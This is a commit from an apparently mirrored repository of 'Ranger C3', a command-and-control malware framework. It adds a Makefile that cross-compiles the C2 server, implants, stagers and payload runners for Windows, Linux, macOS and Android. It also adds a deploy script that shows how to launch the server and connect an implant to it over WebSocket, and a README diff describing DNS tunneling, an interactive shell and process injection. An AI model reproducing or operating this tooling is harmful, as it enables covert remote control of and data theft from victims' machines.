mirror of
https://git.churchofmalware.org/ek0mssavi0r/Ranger-C3
synced 2026-09-24 08:34:47 +00:00
Upload files to "/"
This commit is contained in:
@@ -0,0 +1,69 @@
|
|||||||
|
# Ranger C3 Makefile
|
||||||
|
.PHONY: all build build-all c2 implant stager payloads clean deploy-c2
|
||||||
|
|
||||||
|
BUILD_DIR ?= ./build
|
||||||
|
GOFLAGS ?= -ldflags="-s -w"
|
||||||
|
|
||||||
|
# Cross C compiler for the linux/arm64 C2 build (cgo sqlite3).
|
||||||
|
# Override if your toolchain has a different triple:
|
||||||
|
# make build-all ARM64_CC=aarch64-unknown-linux-gnu-gcc
|
||||||
|
ARM64_CC ?= aarch64-linux-gnu-gcc
|
||||||
|
|
||||||
|
all: build
|
||||||
|
|
||||||
|
build: c2 implant stager
|
||||||
|
|
||||||
|
c2:
|
||||||
|
@mkdir -p $(BUILD_DIR)
|
||||||
|
GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/ranger-c2 ./cmd/c2
|
||||||
|
@echo "[+] C2 server built: $(BUILD_DIR)/ranger-c2"
|
||||||
|
|
||||||
|
implant:
|
||||||
|
@mkdir -p $(BUILD_DIR)
|
||||||
|
GOOS=windows GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant.exe ./cmd/implant
|
||||||
|
GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant ./cmd/implant
|
||||||
|
GOOS=darwin GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant_mac ./cmd/implant
|
||||||
|
@echo "[+] Implants built: $(BUILD_DIR)/implant*"
|
||||||
|
|
||||||
|
stager:
|
||||||
|
@mkdir -p $(BUILD_DIR)
|
||||||
|
GOOS=windows GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/stager.exe ./cmd/stager
|
||||||
|
GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/stager ./cmd/stager
|
||||||
|
@echo "[+] Stagers built: $(BUILD_DIR)/stager*"
|
||||||
|
|
||||||
|
payloads:
|
||||||
|
@mkdir -p $(BUILD_DIR)
|
||||||
|
GOOS=windows GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/payloads.exe ./cmd/payloads
|
||||||
|
GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/payloads ./cmd/payloads
|
||||||
|
GOOS=darwin GOARCH=amd64 go build $(GOFLAGS) -o $(BUILD_DIR)/payloads_mac ./cmd/payloads
|
||||||
|
@echo "[+] Payload runners built: $(BUILD_DIR)/payloads*"
|
||||||
|
|
||||||
|
build-all: build
|
||||||
|
CGO_ENABLED=1 CC=$(ARM64_CC) GOOS=linux GOARCH=arm64 go build $(GOFLAGS) -o $(BUILD_DIR)/ranger-c2-arm64 ./cmd/c2
|
||||||
|
GOOS=linux GOARCH=arm64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant-arm64 ./cmd/implant
|
||||||
|
GOOS=linux GOARCH=386 go build $(GOFLAGS) -o $(BUILD_DIR)/implant-386 ./cmd/implant
|
||||||
|
GOOS=android GOARCH=arm64 go build $(GOFLAGS) -o $(BUILD_DIR)/implant-android ./cmd/implant
|
||||||
|
@echo "[+] Cross-compiled builds done"
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -rf $(BUILD_DIR) certs/ data/
|
||||||
|
|
||||||
|
# Deploy C2 with default config
|
||||||
|
deploy-c2: c2
|
||||||
|
@echo "[*] Starting C2 server..."
|
||||||
|
./$(BUILD_DIR)/ranger-c2 \
|
||||||
|
--listen :4443 \
|
||||||
|
--mesh :9000 \
|
||||||
|
--password "changeme" \
|
||||||
|
--db data/c2.db \
|
||||||
|
--gen-certs \
|
||||||
|
--id ranger-c2-01
|
||||||
|
|
||||||
|
# Show binary sizes
|
||||||
|
sizes:
|
||||||
|
@ls -lh $(BUILD_DIR)/ 2>/dev/null || echo "build first"
|
||||||
|
|
||||||
|
# Upstream deps
|
||||||
|
deps:
|
||||||
|
go mod tidy
|
||||||
|
go mod download
|
||||||
@@ -24,7 +24,7 @@
|
|||||||
| Primary channel | WebSocket over HTTP/2 with XChaCha20-Poly1305 encrypted frames |
|
| Primary channel | WebSocket over HTTP/2 with XChaCha20-Poly1305 encrypted frames |
|
||||||
| Fallback channels | HTTPS REST beacon + DNS tunneling (base32 + AEAD) |
|
| Fallback channels | HTTPS REST beacon + DNS tunneling (base32 + AEAD) |
|
||||||
| Operator dashboard | Full SPA web UI — clickable implant drill-down, interactive shell, payload executor |
|
| Operator dashboard | Full SPA web UI — clickable implant drill-down, interactive shell, payload executor |
|
||||||
| Payload system | 23 native Go payload modules — compiled, no Python needed at runtime |
|
| Payload system | 24 native Go payload modules — compiled, no Python needed at runtime |
|
||||||
| Crypto | Ed25519 signing, XChaCha20-Poly1305 AEAD, SHA-256 key derivation |
|
| Crypto | Ed25519 signing, XChaCha20-Poly1305 AEAD, SHA-256 key derivation |
|
||||||
| Auth | JWT-based operator authentication with token expiry |
|
| Auth | JWT-based operator authentication with token expiry |
|
||||||
| Persistence | SQLite (WAL mode, concurrent) |
|
| Persistence | SQLite (WAL mode, concurrent) |
|
||||||
@@ -83,8 +83,15 @@ make c2 # Linux C2 server
|
|||||||
make implant # Cross-compile implants (win/linux/mac)
|
make implant # Cross-compile implants (win/linux/mac)
|
||||||
make stager # Cross-compile stagers (win/linux)
|
make stager # Cross-compile stagers (win/linux)
|
||||||
make payloads # Build standalone payload binaries
|
make payloads # Build standalone payload binaries
|
||||||
|
make build-all # Everything + cross targets (see notes below)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
**Cross-compile notes:**
|
||||||
|
|
||||||
|
- `make build-all` cross-compiles the C2 for `linux/arm64`; the SQLite driver needs cgo, so it uses `aarch64-linux-gnu-gcc` by default. Install `gcc-aarch64-linux-gnu` (Debian/Ubuntu/Kali) or override: `make build-all ARM64_CC=aarch64-unknown-linux-gnu-gcc`.
|
||||||
|
- Full implant matrix: windows/amd64, linux/amd64, linux/arm64, linux/386, android/arm64, darwin/amd64.
|
||||||
|
- `process_inject` is linux/amd64-only; other architectures report it as unsupported instead of failing the build.
|
||||||
|
|
||||||
### 2. Start C2
|
### 2. Start C2
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
|||||||
@@ -0,0 +1,49 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# deploy.sh - Deploy Ranger C3 with Nginx fronting (optional)
|
||||||
|
set -e
|
||||||
|
|
||||||
|
VERSION="3.0.0"
|
||||||
|
|
||||||
|
echo " Ranger C3 v${VERSION} - Deploy Script "
|
||||||
|
echo "==========================================="
|
||||||
|
|
||||||
|
# Check for Go
|
||||||
|
if ! command -v go &>/dev/null; then
|
||||||
|
echo "[-] Go not found. Install: apt install golang-go"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Build
|
||||||
|
echo "[*] Building binaries..."
|
||||||
|
make build 2>/dev/null || go build -ldflags="-s -w" -o build/ranger-c2 ./cmd/c2
|
||||||
|
|
||||||
|
# Create data directory
|
||||||
|
mkdir -p data
|
||||||
|
|
||||||
|
# Generate certs if needed (reused on later runs; --force-certs to regenerate)
|
||||||
|
echo "[*] Ensuring TLS certificates..."
|
||||||
|
./build/ranger-c2 --gen-certs-only 2>/dev/null || true
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "[+] Build complete. To start:"
|
||||||
|
echo ""
|
||||||
|
echo " # Standalone C2"
|
||||||
|
echo " ./build/ranger-c2 \\"
|
||||||
|
echo " --listen :4443 \\"
|
||||||
|
echo " --password \"YOUR_PASSWORD\" \\"
|
||||||
|
echo " --db data/c2.db \\"
|
||||||
|
echo " --gen-certs"
|
||||||
|
echo ""
|
||||||
|
echo " # C2 with mesh peers"
|
||||||
|
echo " ./build/ranger-c2 \\"
|
||||||
|
echo " --listen :4443 \\"
|
||||||
|
echo " --mesh :9000 \\"
|
||||||
|
echo " --bootstrap \"10.0.0.2:9000,10.0.0.3:9000\" \\"
|
||||||
|
echo " --password \"YOUR_PASSWORD\" \\"
|
||||||
|
echo " --db data/c2.db \\"
|
||||||
|
echo " --gen-certs"
|
||||||
|
echo ""
|
||||||
|
echo " # Dashboard: https://your-c2:4443/dashboard"
|
||||||
|
echo " # Implant: ./build/implant --c2 wss://your-c2:4443/ws"
|
||||||
|
echo ""
|
||||||
|
echo "==========================================="
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
module git.churchofmalware.org/ek0mssavi0r/Ranger-C3
|
||||||
|
|
||||||
|
go 1.26
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/golang-jwt/jwt/v5 v5.2.1
|
||||||
|
github.com/gorilla/websocket v1.5.3
|
||||||
|
github.com/mattn/go-sqlite3 v1.14.24
|
||||||
|
golang.org/x/crypto v0.31.0
|
||||||
|
)
|
||||||
|
|
||||||
|
require golang.org/x/sys v0.28.0
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
github.com/golang-jwt/jwt/v5 v5.2.1 h1:OuVbFODueb089Lh128TAcimifWaLhJwVflnrgM17wHk=
|
||||||
|
github.com/golang-jwt/jwt/v5 v5.2.1/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk=
|
||||||
|
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||||
|
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||||
|
github.com/mattn/go-sqlite3 v1.14.24 h1:tpSp2G2KyMnnQu99ngJ47EIkWVmliIizyZBfPrBWDRM=
|
||||||
|
github.com/mattn/go-sqlite3 v1.14.24/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||||
|
golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U=
|
||||||
|
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
|
||||||
|
golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA=
|
||||||
|
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||||
|
golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q=
|
||||||
|
golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=
|
||||||
Reference in New Issue
Block a user